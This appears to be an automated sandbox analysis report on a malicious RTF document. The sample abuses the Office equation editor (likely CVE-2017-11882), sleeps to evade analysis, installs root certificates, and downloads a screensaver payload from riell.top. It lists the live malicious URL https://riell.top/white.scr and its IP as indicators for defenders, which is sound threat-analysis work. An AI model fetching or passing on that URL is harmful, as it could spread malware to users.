Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1452 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3272 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1467965 Sample: xJvN1QBl91.rtf Startdate: 05/07/2024 Architecture: WINDOWS Score: 100 21 Multi AV Scanner detection for domain / URL 2->21 23 Malicious sample detected (through community Yara rule) 2->23 25 Antivirus detection for URL or domain 2->25 27 4 other signatures 2->27 6 WINWORD.EXE 291 18 2->6         started        process3 process4 8 EQNEDT32.EXE 11 6->8         started        13 EQNEDT32.EXE 6->13         started        dnsIp5 19 riell.top 188.114.96.3, 443, 49163 CLOUDFLARENETUS European Union 8->19 15 C:\Users\user\AppData\...\white72911.scr, HTML 8->15 dropped 17 C:\Users\user\AppData\Local\...\white[1].htm, HTML 8->17 dropped 29 Installs new ROOT certificates 8->29 31 Office equation editor establishes network connection 8->31 33 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 8->33 file6 signatures7
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
188.114.96.3
 riell.top European Union
13335 CLOUDFLARENETUS true

Contacted Domains

Name IP Active
riell.top 188.114.96.3 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://riell.top/white.scr true
  • 7%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown